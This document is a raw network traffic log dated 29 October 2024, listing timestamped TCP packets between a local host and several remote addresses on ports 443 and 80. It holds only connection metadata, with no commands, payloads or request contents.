Oct 29, 2024 04:52:20.015448093 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.015508890 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.015517950 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.015619040 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.015662909 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.015669107 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.015767097 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.015814066 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.015820026 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.023550034 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.023741007 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.023747921 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.077637911 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.077658892 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.124521017 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.134522915 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.134834051 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.134886026 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.134891987 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.139358044 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.139440060 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.139446020 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.143912077 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.143979073 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.143985033 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.153546095 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.153594017 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.153599977 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.162616968 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.162672043 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.162678003 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.171752930 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.171813965 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.171821117 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.181740999 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.181839943 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.181847095 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.191935062 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.191996098 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.192003012 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.198529005 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.198604107 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.198611975 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.250328064 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.250339031 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.253995895 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.254045963 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.254051924 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.258563042 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.258625031 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.258630991 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.258749962 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.258815050 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.258821964 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.263183117 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.263256073 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.263262033 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.263823032 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.263911009 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.263964891 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.263972044 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.264012098 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.267220020 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.274347067 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.274398088 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.274404049 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.280592918 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.280694008 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.280721903 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.280729055 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.280772924 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.286901951 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.293056965 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.293150902 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.293157101 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.299304962 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.299367905 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.299374104 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.305635929 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.305685997 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.305691957 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.312000036 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.312124968 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.312148094 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.312154055 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.312216997 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.318406105 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.324533939 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.324625015 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.324631929 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.330982924 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.331048012 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.331054926 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.337515116 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.337594032 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.337600946 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.343647957 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.343764067 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.343796968 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.343807936 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.343866110 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.367305040 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.373411894 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.373469114 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.373477936 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.373578072 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.373625040 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.373631954 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.373835087 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.374074936 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.374099970 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.374106884 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.374152899 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.378863096 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.380418062 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.380495071 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.380505085 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.380522966 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.380634069 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.386169910 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.391571999 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.391637087 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.391645908 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.396802902 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.396879911 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.396887064 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.396919012 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.396966934 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.402236938 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.405819893 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.405883074 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.405894041 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.443031073 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.443128109 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.444439888 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.444449902 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.444771051 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.448489904 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.453452110 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.453464985 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.453866959 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.453978062 CET	443	49750	216.58.206.46	192.168.2.4
Oct 29, 2024 04:52:20.454123020 CET	49750	443	192.168.2.4	216.58.206.46
Oct 29, 2024 04:52:20.491374969 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.691966057 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.692028999 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.692178011 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.692815065 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.692825079 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.692836046 CET	49754	443	192.168.2.4	184.28.90.27
Oct 29, 2024 04:52:20.692841053 CET	443	49754	184.28.90.27	192.168.2.4
Oct 29, 2024 04:52:20.725399017 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.725662947 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.725672007 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.726166964 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.726228952 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.727161884 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.727215052 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.728203058 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.728276968 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.728480101 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.728507996 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.728513002 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:20.781493902 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:20.990329981 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:21.031196117 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:21.031205893 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:21.032677889 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:21.032708883 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:21.032862902 CET	443	49755	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:21.032919884 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:21.032932043 CET	49755	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:21.436836004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:21.437159061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:21.445758104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:21.445775032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:21.445866108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:21.445975065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:21.446000099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:21.454689980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:21.454699993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:22.142642021 CET	49761	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:22.142683029 CET	443	49761	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:22.142857075 CET	49761	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:22.143702030 CET	49761	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:22.143712997 CET	443	49761	216.58.206.78	192.168.2.4
Oct 29, 2024 04:52:22.864259005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:22.864315987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:22.958532095 CET	49761	443	192.168.2.4	216.58.206.78
Oct 29, 2024 04:52:22.958689928 CET	49739	443	192.168.2.4	172.217.16.196
Oct 29, 2024 04:52:22.975791931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:22.975831032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:22.981096983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:22.981111050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:22.981254101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:23.757610083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:23.757678986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:23.783605099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:23.789146900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:24.562704086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:24.562762022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:25.399719954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:25.405121088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.175789118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.175853014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.573932886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.580034018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857141018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857158899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857171059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857259035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857278109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857290983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857335091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857335091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857378006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857542038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857554913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857597113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857764959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857781887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.857808113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857808113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857842922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.857994080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.858041048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.858407021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.858485937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:26.858516932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.858526945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:26.858588934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.017203093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017288923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017297983 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017405033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.017443895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017457008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017508984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.017606020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017618895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017661095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.017848015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.017915010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.018003941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018120050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018131971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018143892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018178940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.018213034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.018482924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018882036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018938065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.018965960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.018976927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019018888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.019243002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019262075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019299984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.019356012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.019795895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019848108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.019886017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019897938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.019953012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.020160913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.020173073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.020215034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.020718098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.020764112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.020770073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.021466970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.177105904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177248955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.177284956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177299023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177340031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.177439928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177450895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177495003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.177680016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177691936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177738905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.177915096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177975893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177989006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.177998066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178030968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.178067923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.178461075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178611994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178622961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178668022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.178858042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178874969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178886890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.178910971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.178941965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.179198027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179208994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179219007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179260969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.179260969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.179574013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179585934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179595947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179629087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.179661989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.179940939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.179995060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.180102110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180113077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180155039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.180414915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180425882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180435896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180469036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.180502892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.180737019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180896997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180907011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.180953026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.181127071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181138039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181149006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181188107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.181188107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.181550026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181687117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181698084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181741953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.181906939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181956053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.181957960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.181971073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.182012081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.182461023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.182554007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.182566881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:27.182605028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:27.182787895 CET	80	49760	185.215.113.206	192.168.2.4
